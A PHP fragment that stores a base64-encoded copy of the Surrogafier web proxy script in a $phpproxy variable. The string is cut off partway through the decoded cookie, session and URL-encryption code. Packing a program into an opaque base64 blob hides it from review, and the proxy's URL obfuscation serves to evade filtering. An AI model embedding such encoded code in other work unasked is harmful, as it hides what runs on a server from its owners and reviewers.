$phpproxy ="PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2V